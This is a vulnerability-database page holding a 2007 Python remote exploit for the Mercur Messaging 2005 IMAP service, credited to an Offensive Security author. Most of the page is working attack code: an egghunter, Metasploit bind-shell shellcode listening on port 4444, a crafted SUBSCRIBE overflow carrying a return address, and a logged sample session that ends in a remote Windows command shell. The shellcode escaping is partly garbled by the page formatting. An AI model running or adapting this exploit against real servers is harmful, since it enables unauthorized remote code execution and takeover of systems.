Lucene search
K

Mercur Messaging 2005 <= SP4 IMAP Remote Exploit (egghunter mod)

🗓️ 26 Mar 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

Mercur Messaging 2005 SP4 IMAP Remote Exploit (egghunter mod). This code uses an egghunter mod to exploit the Mercur Messaging 2005 SP3 IMAP service. It allows injection of more than 2000 bytes using an IMAP command and then utilizes the egghunter to complete the exploitation

Code

                                                #!/usr/bin/python
#&nbsp;
#&nbsp;Mercur&nbsp;Messaging&nbsp;2005&nbsp;SP3&nbsp;IMAP&nbsp;service&nbsp;-&nbsp;Egghunter&nbsp;mod
#&nbsp;[email protected]
#&nbsp;http://www.offensive-security.com
#&nbsp;Original&nbsp;exploit&nbsp;by&nbsp;Winny&nbsp;Thomas
#&nbsp;Thanks&nbsp;Thomas,&nbsp;this&nbsp;code&nbsp;really&nbsp;came&nbsp;in&nbsp;handy&nbsp;!
#&nbsp;VMWare&nbsp;seems&nbsp;to&nbsp;alter&nbsp;the&nbsp;stack&nbsp;a&nbsp;bit&nbsp;as&nbsp;the&nbsp;offset&nbsp;
#&nbsp;of&nbsp;the&nbsp;EIP&nbsp;overwrite&nbsp;was&nbsp;a&nbsp;few&nbsp;bytes&nbsp;off&nbsp;(Windows&nbsp;XPsp2).
#&nbsp;You&nbsp;can&nbsp;inject&nbsp;more&nbsp;than&nbsp;2000&nbsp;bytes&nbsp;using&nbsp;an&nbsp;IMAP&nbsp;command&nbsp;(I&nbsp;chose&nbsp;LIST),&nbsp;
#&nbsp;and&nbsp;then&nbsp;let&nbsp;the&nbsp;egghunter&nbsp;do&nbsp;the&nbsp;rest&nbsp;of&nbsp;the&nbsp;work.
#&nbsp;The&nbsp;initial&nbsp;injected&nbsp;buffer&nbsp;gets&nbsp;cut&nbsp;off,&nbsp;so&nbsp;you&nbsp;need&nbsp;to&nbsp;double&nbsp;check&nbsp;that.
#&nbsp;
#&nbsp;bt&nbsp;~&nbsp;#&nbsp;./imap.py&nbsp;192.168.0.75&nbsp;test&nbsp;test
#&nbsp;*&nbsp;OK&nbsp;MERCUR&nbsp;IMAP4-Server&nbsp;(v5.00.14&nbsp;Unregistered)&nbsp;for&nbsp;Windows&nbsp;ready&nbsp;at&nbsp;Thu,&nbsp;22&nbsp;Mar&nbsp;2007&nbsp;00:59:19&nbsp;+0200
#&nbsp;a001&nbsp;OK&nbsp;LOGIN&nbsp;completed
#&nbsp;BAD&nbsp;Command&nbsp;unknown
#&nbsp;Shell&nbsp;on&nbsp;port&nbsp;4444
#&nbsp;
#&nbsp;bt&nbsp;~&nbsp;#&nbsp;nc&nbsp;-v&nbsp;192.168.0.75&nbsp;4444
#&nbsp;192.168.0.75:&nbsp;inverse&nbsp;host&nbsp;lookup&nbsp;failed:&nbsp;Unknown&nbsp;host
#&nbsp;(UNKNOWN)&nbsp;[192.168.0.75]&nbsp;4444&nbsp;(krb524)&nbsp;open
#&nbsp;Microsoft&nbsp;Windows&nbsp;XP&nbsp;[Version&nbsp;5.1.2600]
#&nbsp;(C)&nbsp;Copyright&nbsp;1985-2001&nbsp;Microsoft&nbsp;Corp.
#&nbsp;
#&nbsp;C:WINDOWSsystem32>

&nbsp;

import&nbsp;os
import&nbsp;sys
import&nbsp;time
import&nbsp;socket
import&nbsp;struct

#&nbsp;Place&nbsp;our&nbsp;w00tw00t&nbsp;egghunter&nbsp;in&nbsp;nop&nbsp;heaven

shellcode&nbsp;=&nbsp;\"x90\"&nbsp;*&nbsp;92&nbsp;
shellcode&nbsp;+=\"x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74xefxb8x54x30x30x57x8bxfaxafx75xeaxafx75xe7xffxe7\"
shellcode&nbsp;+=\"x90\"&nbsp;*&nbsp;100
&nbsp;
#&nbsp;Place&nbsp;w00t&nbsp;and&nbsp;bindshell&nbsp;in&nbsp;correct&nbsp;place&nbsp;in&nbsp;LIST&nbsp;command.

bindshell&nbsp;=&nbsp;\"x90\"&nbsp;*&nbsp;320
bindshell&nbsp;+=\"x54x30x30x57x54x30x30x57\"&nbsp;

#&nbsp;win32_bind&nbsp;-&nbsp;&nbsp;EXITFUNC=seh&nbsp;LPORT=4444&nbsp;Size=709&nbsp;Encoder=PexAlphaNum&nbsp;http://metasploit.com
bindshell&nbsp;+=(\"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49\"
\"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36\"
\"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34\"
\"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41\"
\"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx36x4bx4e\"
\"x4fx44x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x56x4bx58\"
\"x4ex56x46x32x46x32x4bx38x45x44x4ex43x4bx58x4ex47\"
\"x45x50x4ax57x41x50x4fx4ex4bx38x4fx34x4ax41x4bx58\"
\"x4fx55x42x52x41x30x4bx4ex43x4ex42x53x49x54x4bx38\"
\"x46x53x4bx58x41x30x50x4ex41x33x42x4cx49x39x4ex4a\"
\"x46x58x42x4cx46x57x47x30x41x4cx4cx4cx4dx50x41x30\"
\"x44x4cx4bx4ex46x4fx4bx33x46x55x46x42x4ax42x45x57\"
\"x43x4ex4bx58x4fx55x46x52x41x50x4bx4ex48x36x4bx58\"
\"x4ex50x4bx34x4bx48x4fx55x4ex41x41x30x4bx4ex43x30\"
\"x4ex52x4bx48x49x38x4ex36x46x42x4ex41x41x56x43x4c\"
\"x41x43x42x4cx46x46x4bx48x42x54x42x33x4bx58x42x44\"
\"x4ex50x4bx38x42x47x4ex41x4dx4ax4bx48x42x54x4ax50\"
\"x50x35x4ax46x50x58x50x44x50x50x4ex4ex42x35x4fx4f\"
\"x48x4dx41x53x4bx4dx48x36x43x55x48x56x4ax36x43x33\"
\"x44x33x4ax56x47x47x43x47x44x33x4fx55x46x55x4fx4f\"
\"x42x4dx4ax56x4bx4cx4dx4ex4ex4fx4bx53x42x45x4fx4f\"
\"x48x4dx4fx35x49x48x45x4ex48x56x41x48x4dx4ex4ax50\"
\"x44x30x45x55x4cx46x44x50x4fx4fx42x4dx4ax36x49x4d\"
\"x49x50x45x4fx4dx4ax47x55x4fx4fx48x4dx43x45x43x45\"
\"x43x55x43x55x43x45x43x34x43x45x43x34x43x35x4fx4f\"
\"x42x4dx48x56x4ax56x41x41x4ex35x48x36x43x35x49x38\"
\"x41x4ex45x49x4ax46x46x4ax4cx51x42x57x47x4cx47x55\"
\"x4fx4fx48x4dx4cx36x42x31x41x45x45x35x4fx4fx42x4d\"
\"x4ax36x46x4ax4dx4ax50x42x49x4ex47x55x4fx4fx48x4d\"
\"x43x35x45x35x4fx4fx42x4dx4ax36x45x4ex49x44x48x38\"
\"x49x54x47x55x4fx4fx48x4dx42x55x46x35x46x45x45x35\"
\"x4fx4fx42x4dx43x49x4ax56x47x4ex49x37x48x4cx49x37\"
\"x47x45x4fx4fx48x4dx45x55x4fx4fx42x4dx48x36x4cx56\"
\"x46x46x48x36x4ax46x43x56x4dx56x49x38x45x4ex4cx56\"
\"x42x55x49x55x49x52x4ex4cx49x48x47x4ex4cx36x46x54\"
\"x49x58x44x4ex41x43x42x4cx43x4fx4cx4ax50x4fx44x54\"
\"x4dx32x50x4fx44x54x4ex52x43x49x4dx58x4cx47x4ax53\"
\"x4bx4ax4bx4ax4bx4ax4ax46x44x57x50x4fx43x4bx48x51\"
\"x4fx4fx45x57x46x54x4fx4fx48x4dx4bx45x47x35x44x35\"
\"x41x35x41x55x41x35x4cx46x41x50x41x35x41x45x45x35\"
\"x41x45x4fx4fx42x4dx4ax56x4dx4ax49x4dx45x30x50x4c\"
\"x43x35x4fx4fx48x4dx4cx56x4fx4fx4fx4fx47x33x4fx4f\"
\"x42x4dx4bx58x47x45x4ex4fx43x38x46x4cx46x36x4fx4f\"
\"x48x4dx44x55x4fx4fx42x4dx4ax36x4fx4ex50x4cx42x4e\"
\"x42x36x43x55x4fx4fx48x4dx4fx4fx42x4dx5a\")

#&nbsp;Pad&nbsp;the&nbsp;injected&nbsp;command

bindshell&nbsp;+=\"xcc\"&nbsp;*&nbsp;1000

def&nbsp;ExploitMercur(target,&nbsp;username,&nbsp;passwd):
	sock&nbsp;=&nbsp;socket.socket(socket.AF_INET,&nbsp;socket.SOCK_STREAM)
	sock.connect((target,&nbsp;143))
	response&nbsp;=&nbsp;sock.recv(1024)
	print&nbsp;response
	login&nbsp;=&nbsp;\'a001&nbsp;LOGIN&nbsp;\'&nbsp;+&nbsp;username&nbsp;+&nbsp;\'&nbsp;\'&nbsp;+&nbsp;passwd&nbsp;+&nbsp;\'
\'
	sock.send(login)
	response&nbsp;=&nbsp;sock.recv(1024)
	print&nbsp;response
	imaplist&nbsp;=&nbsp;\'a001&nbsp;LIST&nbsp;\'&nbsp;+&nbsp;bindshell&nbsp;+&nbsp;\'
\'
	sock.send(imaplist)
	response&nbsp;=&nbsp;sock.recv(1024)
	print&nbsp;response
	payload&nbsp;=&nbsp;shellcode
	payload&nbsp;+=&nbsp;\'L\'&nbsp;*&nbsp;1
	payload&nbsp;+=&nbsp;\'Y\'&nbsp;*&nbsp;4
	payload&nbsp;+=&nbsp;\'Z\'&nbsp;*&nbsp;4
#	01883A50	FFD3	CALL&nbsp;EBX	MCRFAX.DLL
	payload&nbsp;+=&nbsp;struct.pack(\'<L\',&nbsp;0x01883A50)
	payload&nbsp;+=&nbsp;\'L\'&nbsp;*&nbsp;&nbsp;27
	payload&nbsp;+=&nbsp;\'M\'&nbsp;*&nbsp;&nbsp;16
	payload&nbsp;+=&nbsp;\'&nbsp;\'&nbsp;+&nbsp;\'\"/\"\'&nbsp;+&nbsp;\'&nbsp;\'&nbsp;+&nbsp;\'\"\"\'
	req&nbsp;=&nbsp;\'a001&nbsp;SUBSCRIBE&nbsp;\'&nbsp;+&nbsp;payload&nbsp;+&nbsp;\'
\'
	sock.send(req)
	sock.close()
	print&nbsp;\'Shell&nbsp;on&nbsp;port&nbsp;4444\'

def&nbsp;ConnectRemoteShell(target):
	connect&nbsp;=&nbsp;\"/usr/bin/telnet&nbsp;\"&nbsp;+&nbsp;target&nbsp;+&nbsp;\"&nbsp;4444\"
	os.system(connect)

if&nbsp;__name__==\"__main__\":
	try:
		target&nbsp;=&nbsp;sys.argv[1]
		username&nbsp;=&nbsp;sys.argv[2]
		passwd&nbsp;=&nbsp;sys.argv[3]
	except&nbsp;IndexError:
		print&nbsp;\'Usage:&nbsp;%s&nbsp;<imap&nbsp;server>&nbsp;<username>&nbsp;<password>
\'&nbsp;%&nbsp;sys.argv[0]
		sys.exit(-1)
	ExploitMercur(target,&nbsp;username,&nbsp;passwd)

&nbsp;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Mar 2007 00:00Current
7.1High risk
Vulners AI Score7.1
20